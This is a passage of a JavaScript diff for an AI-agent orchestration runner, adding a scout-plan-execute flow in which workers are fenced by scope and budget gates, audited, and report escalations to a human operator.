are the write-class verbs) +- "rounds": integer 1..${maxStepRounds} — the step's per-attempt tool-round bound +- "target": the step's deliverable path (REQUIRED when tools include write/edit), inside ${JSON.stringify(job.writeScope)} +- "exit": 1..${MAX_EXITS_PER_STEP} form checks that ALL must pass (AND), each one of: + {"type":"artifact-written","path":"...","pattern":"optional regex"} + {"type":"tree-changed","scope":"a scope inside ${JSON.stringify(job.writeScope)}"} + {"type":"json-valid","path":"..."} + {"type":"check-passes","name":"one of ${JSON.stringify(checkNames)}"} + A check-passes on a write-granted step MUST be paired with a tree-changed exit + (the repository starts green — a lone check would pass on the untouched tree). + Reference checks by NAME only; you cannot author or modify one. + +Goal: +${job.goal} + +Repository survey (from a read-only scout): +${scoutBlob || '(no scout notes)'}`; + let p = doc; + if (failure) p += `\n\nWhat happened when the previous plan ran:\n${failure}\nPlan differently — a repeat of the same steps will fail the same way.`; + if (reds) p += `\n\nYour previous plan was REJECTED with these reds (code:path):\n${JSON.stringify(reds)}\nFix every red. Output ONLY the corrected JSON object.`; + return p; +} + +/** + * Execute a validateJob-GREEN plan-shape job (goal/verdictType/close/checks[]). + * Called by runJob after the approval gate, validation, and the smoke — this + * function owns the plan flow only; the caller owns the job-end record and the + * one ledger (every provider round is emitted here as `worker-round`, which + * the caller's metered emit accounts — F12). + * + * @param {any} job the validated plan-shape spec + * @param {object} opts + * @param {string} opts.workdir the run directory (the fence's root) + * @param {any} opts.provider shell-owned LLM binding (the Loop path — `anthropic-api`) + * @param {(o: {policy: Function, onTurn?: Function, maxTurns: number, hasTools: boolean}) => any} [opts.nativeProvider] + * NATIVE clipipe factory (BA-16): required when `job.provider === 'clipipe-subscription'`. + * The runner builds a FRESH provider per worker and picks the mode by `hasTools`: + * `true` → native tool mode (`toolProtocol:'claude-mcp'`, wire `policy`+`onTurn`+`maxTurns`); + * `false` → the drafter has no tools, so a native session would report NO cost — return a + * metered claude-json TEXT provider (`--output-format json`, `parse:'claude-json'`) instead, + * so its spend is never invisible. The Loop path (`anthropic-api`) never touches this. + * @param {(type: string, data?: object) => object} opts.emit spine emitter (the caller's METERED emit) + * @param {() => number} opts.remainingUsd the one wallet: what is left of the signed budget right now + * @param {() => boolean} [opts.isUnpriced] has any round come back with a null cost? (F6) — the + * plan flow bails IN-FLIGHT on the first unpriced round instead of burning the whole plan + * @param {number} [opts.capRuns] shell-owned per-step attempt cap + * @param {number} [opts.closeTimeoutMs] close/check wall-clock cap (shell territory) + * @param {number} [opts.maxStepRounds] the shell's per-step rounds ceiling (validatePlan's bound) + * @returns {Promise} 'green' | 'already-green' | 'escalated' | 'plan-red' | + * 'check-red' | 'close-red' | 'close-unsupported' | 'pricing-red' | 'cap-halt' | + * 'provider-red' | 'interpreter-red' | `step-red:` + */ +export async function runPlan(job, { workdir, provider, nativeProvider, emit, remainingUsd, isUnpriced = () => false, capRuns = 3, closeTimeoutMs, maxStepRounds = 40 }) { + workdir = resolve(workdir); + const scrub = (/** @type {string} */ s) => redact(s, { patterns: SECRET_PATTERNS }); + + // Which worker surface? `clipipe-subscription` drives tools NATIVELY (the CLI + // owns the turn cycle, BA-16); every other provider runs the Loop. The close, + // the checks, and the exit evaluator are provider-independent (commands and + // form checks) — ONLY the worker differs, so the whole plan flow is shared. + const native = job.provider === 'clipipe-subscription'; + + // ── close-unsupported (F17 guard, mirrored from the legacy path at run.js): + // the plan flow executes a PREDICATE close only — a command whose exit code is + // truth. validateJob admits a GOLD close under verdictType green (gold is + // hard-class), and a gold close carries no `cmd`; running `close.cmd.trim()` + // on it would TypeError out of runJob with NO job-end (the spine would dangle, + // no spend recorded). Refuse a non-predicate close cleanly, before any tokens. + if (job.close.type !== 'predicate') { + emit('escalation', { + category: 'close-unsupported', decisionReady: true, + decision: `The job's close is a ${job.close.type} close — the plan flow executes a predicate close only (a command whose exit code is truth).`, + options: ['restate the close as a predicate', 'wait for the verdict-classes rung'], + }); + return 'close-unsupported'; + } + + // ── native wiring: a clipipe-subscription job needs the native provider + // FACTORY (native governance is constructor-time + per-worker, so the runner + // cannot reuse one injected instance). A missing factory is an adopter wiring + // gap, never a silent fall-back to the Loop path (that would run a + // subscription job on the metered API — the wrong bill on the wrong surface). + if (native && typeof nativeProvider !== 'function') { + emit('escalation', { + category: 'interpreter-red', decisionReady: true, + decision: 'This job declares provider clipipe-subscription (native tool mode), but no native provider factory was wired into the runner.', + options: ['wire a native CLIPipeProvider factory (opts.nativeProvider)', 'change the job provider to a Loop-driven one'], + }); + return 'interpreter-red'; + } + + const closeArgv = job.close.cmd.trim().split(/\s+/); + const closeOpts = { timeoutMs: closeTimeoutMs, cwd: workdir, expect: job.close.expect, judged: job.close.judged, gapKeep: job.close.gapKeep }; + + // ── 0a. close precheck (close-first, F17): already-green is a DISTINCT + // record, zero tokens; a forbidden-zone verdict escalates before any spend + const pre = runClose(closeArgv, scrub, closeOpts); + emit('close-precheck', { ...pre }); + if (pre.verdict === 'satisfied') return 'already-green'; + const preFault = Object.hasOwn(CLOSE_FAULTS, pre.verdict) ? CLOSE_FAULTS[pre.verdict] : undefined; + if (preFault) { + emit('escalation', { category: preFault.category, decisionReady: true, decision: preFault.decision, options: preFault.options, detail: pre.detail }); + return 'close-red'; + } + + // ── 0b. checks preflight ($0, deterministic): every SIGNED check runs once + // before tokens — an unrunnable check would fault mid-plan after real spend + // (a frozen rule without a wired detector is prose; here the detector runs + // first). Red and green are both fine: checks decide nothing. + for (const c of job.checks ?? []) { + const v = runClose(c.cmd.trim().split(/\s+/), scrub, { timeoutMs: closeTimeoutMs, cwd: workdir, expect: c.expect, judged: c.judged, gapKeep: c.gapKeep }); + emit('check-preflight', { name: c.name, verdict: v.verdict }); + const f = Object.hasOwn(CLOSE_FAULTS, v.verdict) ? CLOSE_FAULTS[v.verdict] : undefined; + if (f) { + emit('escalation', { category: f.category, decisionReady: true, decision: `Signed check "${c.name}" rendered no judgment at preflight — every plan referencing it would fault mid-run. ${f.decision}`, options: f.options, detail: `${c.name}: ${v.detail ?? ''}` }); + return 'check-red'; + } + } + + const lc = new LiteCtx({ root: workdir }); + const ceiling = Array.isArray(job.tools) ? job.tools : [...TOOL_MENU]; + const fencePrefixes = job.writeScope.map((/** @type {string} */ g) => resolve(workdir, globToPrefix(g))); + const auditPath = join(workdir, 'gate-audit.jsonl'); + const checksByName = new Map((job.checks ?? []).map((/** @type {any} */ c) => [c.name, c])); + + /** the check-passes seam evalExits delegates to: the FULL runClose machinery + * per signed check; a forbidden-zone verdict rides out as `fault` by name so + * the micro-loop escalates (or F32-routes a crash) instead of faking a gap */ + const runCheck = async (/** @type {string} */ name) => { + const c = checksByName.get(name); + if (!c) return { pass: false, fault: 'failed', gap: `no signed check named "${name}"` }; + const v = runClose(c.cmd.trim().split(/\s+/), scrub, { timeoutMs: closeTimeoutMs, cwd: workdir, expect: c.expect, judged: c.judged, gapKeep: c.gapKeep }); + emit('check-run', { name, verdict: v.verdict, ...(v.exitCode !== undefined ? { exitCode: v.exitCode } : {}) }); + if (v.verdict === 'satisfied') return { pass: true }; + if (v.verdict === 'needs_revision') return { pass: false, gap: v.gap }; + return { pass: false, fault: v.verdict, gap: v.detail }; + }; + + /** the last escalation ralph emitted — the replan trigger reads its category + * (only exhaustion replans; an instrument stop stays a stop) */ + let lastEscalation = /** @type {any} */ (null); + /** @type {(type: string, data?: object) => object} */ + const emitL = (type, data) => { if (type === 'escalation') lastEscalation = data; return emit(type, data); }; + + /** + * Assemble one bounded worker: fresh Gate (the fence, the arbiter's books + * denied, the wallet as its budget), granted tools only (the menu IS the + * grant), per-attempt round bound via loop.stop() (F20), every round metered + * with a phase label (F12). + * @param {{granted: string[], phase: string, attemptRounds: number, attempts: number, writable: boolean}} o + */ + async function mkWorker({ granted, phase, attemptRounds, attempts, writable }) { + const gate = new Gate({ + fs: { + writeScope: writable ? fencePrefixes : [], + readScope: [workdir], + deny: [auditPath, join(workdir, '.smoke'), join(workdir, '.litectx')], + }, + budget: { maxCostUsd: Math.max(remainingUsd(), 0.0001) }, + limits: { maxTurns: attemptRounds * (attempts + 1) }, + audit: { path: auditPath }, + humanChannel: async () => ({ decision: 'terminate' }), + }); + await gate.init(); + // F32's instrument, run_id-scoped, write AND edit, allow-decision only — + // the same audit read as interpret's (never git status, F45) + const workerWrites = () => { + try { + const paths = new Set(); + for (const line of readFileSync(auditPath, 'utf8').split('\n')) { + if (!line) continue; + let rec; + try { rec = JSON.parse(line); } catch { continue; } + if (rec.run_id === gate.runId && rec.phase === 'gate' && rec.decision === 'allow' + && (rec.action?.type === 'write' || rec.action?.type === 'edit') + && typeof rec.action.path === 'string') paths.add(rec.action.path); + } + return [...paths]; + } catch { return []; } + }; + const { policy, onLlmResult } = wireGate(gate, { actionTranslator: (/** @type {string} */ n, /** @type {any} */ a) => toolAction(n, a, workdir) }); + /** @type {number|string|undefined} */ + let roundIteration; + let roundsThisAttempt = 0; + /** @type {number|string|undefined} */ + let attemptBounded; + const grantedNames = new Set(granted.map((v) => /** @type {Record} */ (TOOL_BY_VERB)[v])); + const shell = createShellTools().tools.filter((/** @type {{name: string}} */ t) => grantedNames.has(t.name)); + // F48: on native, bound shell_read below the CLI's tool-result display cap and hand back a + // TRUSTED truncation notice steering to ctx_get — the CLI's own truncation blinds the worker + // (spilled + injection-flagged). Fresh tool objects per mkWorker call, so mutating is per-worker. + if (native) { + const rd = shell.find((/** @type {{name: string}} */ t) => t.name === TOOL_BY_VERB.read); + if (rd) { + const inner = rd.execute; + rd.execute = async (/** @type {any} */ args) => { + const r = await inner(args); + if (typeof r === 'string' && Buffer.byteLength(r, 'utf8') > NATIVE_READ_CAP) { + const head = Buffer.from(r, 'utf8').subarray(0, NATIVE_READ_CAP).toString('utf8'); + return head + `\n\n[bareloop: file truncated at ${NATIVE_READ_CAP} bytes — this interface will not display more of a single read. To read a specific function IN FULL use ctx_recall() then ctx_get(); to find a line use shell_grep().]`; + } + return r; + }; + } + } + const ctx = [...CTX_TOOLS].some((t) => grantedNames.has(t)) + ? createCtxTools(lc, workdir, emit).filter((t) => grantedNames.has(t.name)) + : []; + if (ctx.length) await lc.index(); + const toolDefs = [...shell, ...ctx]; + const system = PERSONA_TOOLS + (granted.includes('edit') ? EDIT_STRATEGY : '') + (ctx.length ? RETRIEVAL_STRATEGY : '') + + (native && grantedNames.has(TOOL_BY_VERB.read) ? NATIVE_READ_STRATEGY : ''); + /** @param {any} u @returns {{inputTokens: number, outputTokens: number, cacheReadTokens: number, cacheCreationTokens: number}} */ + const usageOf = (u) => ({ inputTokens: u?.inputTokens ?? 0, outputTokens: u?.outputTokens ?? 0, cacheReadTokens: u?.cacheReadTokens ?? 0, cacheCreationTokens: u?.cacheCreationTokens ?? 0 }); + + if (native && toolDefs.length > 0) { + // ── NATIVE clipipe TOOL session (BA-16): the CLI owns the turn cycle, so + // the arbiter clips onto the PROVIDER — policy (the SAME wireGate fence, + // proven to deny out-of-scope), onTurn (metering), maxTurns (the + // per-session round bound). Money is null per turn and AUTHORITATIVE at + // session close (the round-level F12 figure the CLI does not expose; the + // session total is honest — the per-session reconciliation). Only workers + // WITH tools take this path: a native session with NO tools fires no + // onTurn and reports no cost (live-verified), so the toolless drafter runs + // the metered claude-json TEXT path below instead (never unmetered spend). + /** @param {{costUsd?: number|null, pricing?: string|null, usage?: any, kind?: string}} arg */ + const nativeMetered = async (arg) => { + const session = (arg?.kind ?? 'turn') === 'session'; + // per-turn events are ATTRIBUTION ONLY (`worker-turn`, never accounted — + // a native turn's cost is null BY DESIGN and F6 must not read it as + // unpriced); the session-close event carries the authoritative cost and + // IS the one accounted `worker-round` the ledger sums (F12 at the surface + // the CLI actually meters). + emit(session ? 'worker-round' : 'worker-turn', { + phase, iteration: roundIteration, kind: arg?.kind ?? 'turn', + costUsd: session ? (arg?.costUsd ?? null) : null, pricing: arg?.pricing ?? null, + tokens: (arg?.usage?.inputTokens ?? 0) + (arg?.usage?.outputTokens ?? 0), + usage: usageOf(arg?.usage), + }); + return onLlmResult(arg); + }; + const provider2 = /** @type {any} */ (nativeProvider)({ policy, onTurn: nativeMetered, maxTurns: attemptRounds, hasTools: true }); + const loop = new Loop({ provider: provider2, system }); // no Loop policy / no cacheMessages: the CLI owns the transcript + /** @param {string} prompt @param {typeof toolDefs} [defs] */ + const ask = async (prompt, defs = toolDefs) => { + let r; + try { + r = await loop.run([{ role: 'user', content: prompt }], defs, { maxTokens: 32000 }); + } catch (e) { + const err = /** @type {CategorizedError} */ (e); + err.category = e instanceof HaltError ? 'cap-halt' : (err.category ?? 'provider-red'); + throw err; + } + // a maxTurns session is a BOUNDED attempt, not an escalation — the same + // role loop.stop() plays on the Loop path: judge the partial work and + // feed the gap forward (the CLI preserves lastText, BA-5). + if (r.error === 'max_turns') { + attemptBounded = roundIteration; + emit('attempt-bounded', { phase, iteration: roundIteration, cap: attemptRounds, native: true }); + return r; + } + if (r.error) { + const err = /** @type {CategorizedError} */ (new Error(`native session: ${r.error}`)); + // halt → cap-halt, denial streak → gate-red; a bridge/session terminal + // (bridge-failed, session_timeout, session:*) is provider-owned transport + err.category = r.error.startsWith('halt:') ? 'cap-halt' + : r.error.startsWith('denied:') ? 'gate-red' + : 'provider-red'; + err.lib = 'bare-agent'; + throw err; + } + return r; + }; + return { ask, workerWrites, setIteration: (/** @type {number|string} */ i) => { roundIteration = i; roundsThisAttempt = 0; }, wasBounded: () => attemptBounded }; + } + + // ── LOOP path: the injected provider (anthropic-api and every other + // Loop-driven binding), OR — for a native worker with NO tools (the plan + // drafter) — a claude-json structured-output CLIPipe from the factory. Native + // tool mode cannot meter a toolless session (no onTurn, no cost); the + // claude-json TEXT path reports a real per-call cost that the Loop's + // onLlmResult meters exactly like an API round, so the drafter's spend is + // never invisible (F6/F44). The gate policy is wired but idle (no tools). + const loopProvider = native + ? /** @type {any} */ (nativeProvider)({ policy, maxTurns: attemptRounds * (attempts + 1), hasTools: false }) + : provider; + /** @param {{costUsd?: number|null, pricing?: string|null, usage?: any, kind?: string}} arg */ + const metered = async (arg) => { + emit('worker-round', { + phase, iteration: roundIteration, kind: arg?.kind ?? 'turn', + costUsd: arg?.costUsd ?? null, pricing: arg?.pricing ?? null, + tokens: (arg?.usage?.inputTokens ?? 0) + (arg?.usage?.outputTokens ?? 0), + usage: usageOf(arg?.usage), + }); + if ((arg?.kind ?? 'turn') === 'turn') { + roundsThisAttempt += 1; + if (roundsThisAttempt >= attemptRounds) { + attemptBounded = roundIteration; + emit('attempt-bounded', { phase, iteration: roundIteration, rounds: roundsThisAttempt, cap: attemptRounds }); + loop.stop(); + } + } + return onLlmResult(arg); + }; + const loop = new Loop({ provider: loopProvider, system, policy, onLlmResult: metered }); + /** @param {string} prompt @param {typeof toolDefs} [defs] */ + const ask = async (prompt, defs = toolDefs) => { + let r; + try { + r = await loop.run([{ role: 'user', content: prompt }], defs, { cacheMessages: true, maxTokens: 32000 }); + } catch (e) { + const err = /** @type {CategorizedError} */ (e); + err.category = e instanceof HaltError ? 'cap-halt' : (err.category ?? 'provider-red'); + throw err; + } + // same error-return taxonomy as interpret's ask (one map, same doctrine): + // halt → cap-halt, denial streak → gate-red, API truncation → provider-red + if (r.error) { + const err = /** @type {CategorizedError} */ (new Error(`worker loop: ${r.error}`)); + err.category = r.error.startsWith('halt:') ? 'cap-halt' + : r.error.startsWith('denied:') ? 'gate-red' + : r.error.startsWith('truncated:') ? 'provider-red' + : 'interpreter-red'; + err.lib = 'bare-agent'; + throw err; + } + return r; + }; + return { ask, workerWrites, setIteration: (/** @type {number|string} */ i) => { roundIteration = i; roundsThisAttempt = 0; }, wasBounded: () => attemptBounded }; + } + + /** relay a throw from OUTSIDE ralph (scout/plan drafting) as its honest category */ + const relay = (/** @type {any} */ e, /** @type {string} */ phase) => { + const category = e instanceof HaltError ? 'cap-halt' : (typeof e?.category === 'string' ? e.category : 'provider-red'); + if (category === 'cap-halt') emit('cap-halt', { category, meaning: 'not under cap — not "can\'t"', detail: String(e?.message ?? e) }); + emit('escalation', { + category, decisionReady: true, phase, + decision: category === 'cap-halt' ? `The budget gate tripped during ${phase} — the wallet cannot fund the plan flow.` : `The ${phase} call failed (${category}) — no result exists.`, + options: category === 'cap-halt' ? ['raise the job budget and rerun', 'abandon the run'] : ['retry the run', 'fix the provider binding', 'abandon the run'], + detail: String(e?.message ?? e), + ...(typeof e?.lib === 'string' ? { lib: e.lib } : {}), + }); + return category === 'cap-halt' ? 'cap-halt' : 'provider-red'; + }; + + // ── 1. SCOUT — read-only by construction: the write-class verbs are simply + // not in its menu (the menu is the grant), and its gate fences zero paths + let scoutBlob = ''; + emit('scout-start', { rounds: SCOUT_ROUNDS }); + try { + const scout = await mkWorker({ granted: ceiling.filter((v) => !WRITE_VERBS.includes(v)), phase: 'scout', attemptRounds: SCOUT_ROUNDS, attempts: 1, writable: false }); + scout.setIteration(1); + const r = await scout.ask([ + 'Survey this repository READ-ONLY for the goal below. Report: the relevant layout, the key files and symbols, and your best hypothesis about what the work requires. Be concise — your notes brief a planner that cannot see the repository.', + `Repository root (absolute): ${workdir}\nEvery path you pass to a tool MUST be absolute and inside this root.`, + `Goal:\n${job.goal}`, + pre.gap && `The job's verification is currently failing. Its output on the tree as it stands:\n${pre.gap}`, + ].filter(Boolean).join('\n\n')); + scoutBlob = scrub(r.text ?? '').slice(0, SCOUT_BLOB_MAX); + } catch (e) { + return relay(e, 'scout'); + } + emit('scout-result', { bytes: Buffer.byteLength(scoutBlob) }); + // F6 in-flight: an unpriced round means the cap cannot govern spend it cannot + // see — halt at the boundary rather than run the whole plan blind (the caller + // emits pricing-red; runPlan just stops burning tokens). Legacy halts per-step. + if (isUnpriced()) return 'pricing-red'; + + // ── 2. PLAN — the decompose call; the planner NEVER sees the repo (no tools, + // scout blob only — what keeps the plan a plan and not a second worker). + // One shot + one redraft with the reds fed back (the drafting precedent). + /** draft + validate with one redraft; emits plan-validate per phase. The + * drafter is built FRESH per call (review #4): its Gate budget snapshots the + * CURRENT wallet, never a stale pre-execute allocation. A replan draft after + * the steps have spent is therefore bounded by what is ACTUALLY left, so the + * total run spend can never exceed the signed budget (advertised == enforced, + * the hard line) — a drafter built once at full budget would let the replan + * draft spend against money the steps had already consumed. + * @param {string} phase @param {string|null} failure */ + const obtainPlan = async (phase, failure) => { + const drafter = await mkWorker({ granted: [], phase: 'plan', attemptRounds: 2, attempts: 3, writable: false }); + const draftPlan = async (/** @type {any[]|null} */ reds) => { + drafter.setIteration(reds ? 'redraft' : 'draft'); + const r = await drafter.ask(planPrompt(job, scoutBlob, reds, maxStepRounds, failure), []); + return extractArtifact(r.text).code ?? ''; + }; + let text = await draftPlan(null); + let pv = validatePlan(text, { job, maxStepRounds }); + emit('plan-validate', { ok: pv.ok, reds: pv.reds, phase: `${phase}-1` }); + if (!pv.ok) { + text = await draftPlan(pv.reds); + pv = validatePlan(text, { job, maxStepRounds }); + emit('plan-validate', { ok: pv.ok, reds: pv.reds, phase: `${phase}-2` }); + } + return pv; + }; + let plan; + try { + const pv = await obtainPlan('draft', null); + if (!pv.ok) { + for (const r of pv.reds) emit('plan-red', r); + return 'plan-red'; + } + plan = /** @type {any} */ (pv.plan); + emit('plan-accepted', { plan }); + } catch (e) { + return relay(e, 'plan'); + } + if (isUnpriced()) return 'pricing-red'; // F6: the plan drafting round came back unpriced — halt before steps + + // ── 3. EXECUTE — strictly sequential micro-loops; judge = the exit + // evaluator through ralph's shell-owned seam; artifacts feed forward (F21) + /** @type {{id: string, text: string}[]} */ + const artifacts = []; + /** @type {{id: string, outcome: string}[]} */ + const stepOutcomes = []; + let replanned = false; + const planExecuted = () => emit('plan-executed', { steps: stepOutcomes, replanned }); + + /** @param {any} step */ + const executeStep = async (step) => { + emit('step-start', { step: step.id, rounds: step.rounds, tools: step.tools }); + // the before-side of every tree-changed exit, taken at STEP start: the + // step's cumulative work is what the exit judges (outcome, never intent) + const snapshot = new Map(); + for (const e of step.exit) { + if (e.type === 'tree-changed') for (const [k, v] of await snapshotScope(workdir, e.scope)) snapshot.set(k, v); + } + const w = await mkWorker({ granted: step.tools, phase: `step:${step.id}`, attemptRounds: step.rounds, attempts: capRuns, writable: true }); + let lastText = ''; + let iterationNow = 0; + /** @param {number} iteration @param {string} [gap] */ + const middle = async (iteration, gap) => { + w.setIteration(iteration); + iterationNow = iteration; + const r = await w.ask([ + step.action, + `Repository root (absolute): ${workdir}\nEvery path you pass to a tool MUST be absolute and inside this root — a relative path resolves against a different directory and will be denied by the gate.`, + step.target && `Write your deliverable to: ${resolve(workdir, step.target)}`, + artifacts.length > 0 && `Working context (read-only) — prior steps' results:\n${artifacts.map((a) => `[${a.id}] ${a.text}`).join('\n\n')}`, + gap && `Previous attempt failed this step's checks:\n${gap}`, + w.wasBounded() === iteration - 1 + && `Your previous attempt was CUT OFF after ${step.rounds} tool rounds. Reading is bounded; writing is not. Form a hypothesis EARLY and make the change.`, + ].filter(Boolean).join('\n\n')); + lastText = scrub(r.text ?? '').slice(0, ARTIFACT_MAX); + }; + const judge = async () => { + const { pass, results } = await evalExits(step.exit, { dir: workdir, snapshot, runCheck }); + emit('exit-eval', { step: step.id, iteration: iterationNow, results }); + // an instrument fault rides out by its runClose verdict NAME: ralph + // escalates it through CLOSE_FAULTS (or F32-routes a crash after writes) + const faulty = results.find((r) => r.fault); + if (faulty) return { verdict: /** @type {string} */ (faulty.fault), detail: faulty.detail }; + if (pass) return { verdict: 'satisfied' }; + // AND-only: the gap names EVERY failing wall (mechanical genre, F38) + return { verdict: 'needs_revision', gap: results.filter((r) => !r.pass).map((r) => r.detail).join('\n') }; + }; + const outcome = await ralph({ middle, judge, capRuns, emit: emitL, workerWrites: w.workerWrites }); + return { outcome, artifact: lastText }; + }; + + let idx = 0; + while (idx < plan.steps.length) { + const step = plan.steps[idx]; + let res; + try { + res = await executeStep(step); + } catch (e) { + // Reachable ONLY by mkWorker/gate/index SETUP faults: ralph catches middle + // throws and returns 'escalated', so a provider throw never reaches here. + // An uncategorized setup fault is interpreter-red (broken infra), never + // relay's provider-red default — and the RECORDED outcome must match the + // escalation the human reads (review #6, F11 misfiling: a spine that says + // interpreter-red while the escalation says provider-red is two + // instruments disagreeing about the same event). + const err = /** @type {CategorizedError} */ (e); + const category = err instanceof HaltError ? 'cap-halt' : (typeof err.category === 'string' ? err.category : 'interpreter-red'); + stepOutcomes.push({ id: step.id, outcome: category }); + if (category === 'cap-halt') emit('cap-halt', { category, meaning: 'not under cap — not "can\'t"', detail: String(err?.message ?? err) }); + emit('escalation', { + category, decisionReady: true, phase: `step:${step.id}`, + decision: category === 'cap-halt' + ? `The budget gate tripped while building step "${step.id}" — the wallet cannot fund the plan flow.` + : `Step "${step.id}" could not be set up (${category}) — the worker, gate, or index failed before the step ran.`, + options: category === 'cap-halt' ? ['raise the job budget and rerun', 'abandon the run'] : ['fix the interpreter/environment', 'retry the run', 'abandon the run'], + detail: String(err?.message ?? err), + ...(typeof err?.lib === 'string' ? { lib: err.lib } : {}), + }); + planExecuted(); + return category; + } + stepOutcomes.push({ id: step.id, outcome: res.outcome }); + emit('step-end', { step: step.id, outcome: res.outcome }); + if (isUnpriced()) { planExecuted(); return 'pricing-red'; } // F6: a step round came back unpriced — halt before the next + if (res.outcome === 'green') { + artifacts.push({ id: step.id, text: res.artifact }); + idx += 1; + continue; + } + // ONE replan, and only for EXHAUSTION with FUNDS LEFT (review #5): ralph + // emits cap-halt for BOTH attempt-exhaustion AND a money-gate halt + // mid-attempt — but a drained wallet is a stop, not an adaptation. A + // money-gate halt necessarily drained the wallet (the worker's cap WAS the + // whole remaining wallet), so replanning against it burns another draft and + // mislabels the money-cut as "exits still red" (F45 class); attempt- + // exhaustion leaves money on the table. An instrument/governance stop that + // is not cap-halt never replans either. (An unpriced step already returned + // pricing-red at the step-end guard above, so isUnpriced() is false here.) + const cat = lastEscalation?.category; + if (!replanned && cat === 'cap-halt' && remainingUsd() > MONEY_MIN) { + replanned = true; + emit('replan', { step: step.id, reason: 'step exhausted its attempts with exits still red' }); + const failure = `Step "${step.id}" (${step.action}) ran ${capRuns} attempts and its exits were still red. ` + + `Last exit state:\n${lastEscalation?.detail ?? '(none)'}\n` + + `Steps completed so far: ${artifacts.map((a) => a.id).join(', ') || 'none'}.`; + let pv; + try { + pv = await obtainPlan('replan', failure); + } catch (e) { + planExecuted(); + return relay(e, 'replan'); + } + if (!pv.ok) { + for (const r of pv.reds) emit('plan-red', r); + planExecuted(); + return 'plan-red'; + } + plan = /** @type {any} */ (pv.plan); + emit('plan-accepted', { plan, phase: 'replan' }); + // the new plan's steps are NOT the old plan's steps — its abandoned greens + // must not ride forward as this plan's "prior steps' results" (stale, and + // it names steps the current plan does not contain) + artifacts.length = 0; + idx = 0; + continue; + } + // A money-gate halt (wallet drained) is an honest cap-halt terminal, never a + // step-red: the exits never ran because the money ran out, not because the + // work failed. Attempt-exhaustion WITH funds after the one replan is spent + // stays a step-red (the stop is a result). + if (cat === 'cap-halt') { + planExecuted(); + return remainingUsd() <= MONEY_MIN ? 'cap-halt' : `step-red:${step.id}`; + } + // Any OTHER terminal escalation category is NOT a capability failure: a + // provider-red is a transport CASUALTY, a gate-red/interpreter-red/close + // fault is an instrument stop. Each rides out under its OWN name (F11: the + // returned outcome and the emitted escalation must agree) so run.js labels + // it honestly — a provider-red carries the F44 spendComplete:false floor, + // never laundered into step-red tier data. Mirrors the setup-fault catch. + planExecuted(); + return typeof cat === 'string' ? cat : `step-red:${step.id}`; + } + + // ── 4. THE CLOSE — the operator's signed command, the only truth. Red → + // the gap feeds ONE bounded fix loop judged by the REAL close (v1.12 §4); + // still red → the escalation ralph already emitted stands. + const post = runClose(closeArgv, scrub, closeOpts); + emit('outer-close', { ...post }); + if (post.verdict === 'satisfied') { + planExecuted(); + return 'green'; + } + const postFault = Object.hasOwn(CLOSE_FAULTS, post.verdict) ? CLOSE_FAULTS[post.verdict] : undefined; + if (postFault) { + emit('escalation', { category: postFault.category, decisionReady: true, decision: postFault.decision, options: postFault.options, detail: post.detail }); + planExecuted(); + return 'close-red'; + } + emit('fix-loop', { gapBytes: Buffer.byteLength(post.gap ?? '') }); + let fixOutcome; + try { + const w = await mkWorker({ granted: ceiling, phase: 'fix', attemptRounds: maxStepRounds, attempts: capRuns, writable: true }); + /** @param {number} iteration @param {string} [gap] */ + const middle = async (iteration, gap) => { + w.setIteration(iteration); + await w.ask([ + 'The job\'s final verification is failing. Fix the repository so it passes.', + `Repository root (absolute): ${workdir}\nEvery path you pass to a tool MUST be absolute and inside this root.`, + artifacts.length > 0 && `Working context (read-only) — the plan's steps produced:\n${artifacts.map((a) => `[${a.id}] ${a.text}`).join('\n\n')}`, + !gap && post.gap && `The verification's output on the tree as it stands (not an attempt of yours):\n${post.gap}`, + gap && `Previous attempt failed the verification:\n${gap}`, + ].filter(Boolean).join('\n\n')); + }; + fixOutcome = await ralph({ + middle, close: closeArgv, capRuns, emit: emitL, redact: scrub, + closeTimeoutMs, cwd: workdir, expect: job.close.expect, judged: job.close.judged, gapKeep: job.close.gapKeep, + workerWrites: w.workerWrites, + }); + } catch (e) { + planExecuted(); + return relay(e, 'fix'); + } + planExecuted(); + return fixOutcome === 'green' ? 'green' : 'escalated'; +} diff --git a/src/ralph.js b/src/ralph.js index b712c36..684da24 100644 --- a/src/ralph.js +++ b/src/ralph.js @@ -235,7 +235,15 @@ export const CLOSE_FAULTS = Object.freeze({ * * @param {object} opts * @param {(iteration: number, gap?: string) => void|Promise} opts.middle the emergent middle; never sees close/cap - * @param {string[]} opts.close argv whose exit code is truth + * @param {string[]} [opts.close] argv whose exit code is truth (required unless `judge` is injected) + * @param {() => Promise<{verdict: string, gap?: string, detail?: string}>|{verdict: string, gap?: string, detail?: string}} [opts.judge] + * Layer 2 (PRD v1.12 §4): the judge generalized to a SHELL-owned seam. When + * present it replaces runClose for this loop — a plan STEP's micro-loop is + * judged by the exit evaluator (declarative form checks), not a command. It + * returns the same verdict vocabulary runClose renders, so the forbidden + * zone, worker-crash routing (F32), and the cap taxonomy apply unchanged. + * Injected by run.js only; inexpressible in any config or plan — the agent + * never authors its judge any more than its close. * @param {number} opts.capRuns budget: max middle runs * @param {(type: string, data?: object) => object} opts.emit a spine emitter * @param {(s: string) => string} [opts.redact] source scrubber for close output @@ -255,13 +263,15 @@ export const CLOSE_FAULTS = Object.freeze({ * with zero writes, a crash stays what it always was: an instrument stop. * @returns {Promise<'green'|'escalated'>} */ -export async function ralph({ middle, close, capRuns, emit, redact, closeTimeoutMs, cwd, expect, judged, gapKeep, workerWrites }) { - emit('run-start', { capRuns, close: close.join(' ') }); +export async function ralph({ middle, close, judge, capRuns, emit, redact, closeTimeoutMs, cwd, expect, judged, gapKeep, workerWrites }) { + emit('run-start', { capRuns, close: judge ? 'judge:injected' : /** @type {string[]} */ (close).join(' ') }); // The blind spot is NAMED, never hidden: with no judgment-rendered signal this // close cannot tell a crash from an honest red (they are byte-identical at the // exit-code seam), so the record says so out loud rather than passing the exit - // code off as trustworthy (PRD v1.11). - if (!judged) emit('close-unaudited', { close: close.join(' '), meaning: 'no judgment-rendered signal declared — a crash-at-load is indistinguishable from an honest red for this close' }); + // code off as trustworthy (PRD v1.11). The judged-floor story belongs to + // CLOSES: an injected judge (Layer 2 exit evaluation) owns its own honesty + // reads, so the note would be noise there. + if (!judged && !judge) emit('close-unaudited', { close: /** @type {string[]} */ (close).join(' '), meaning: 'no judgment-rendered signal declared — a crash-at-load is indistinguishable from an honest red for this close' }); const verdicts = []; let gap; for (let iteration = 1; iteration <= capRuns; iteration++) { @@ -299,7 +309,9 @@ export async function ralph({ middle, close, capRuns, emit, redact, closeTimeout return 'escalated'; } 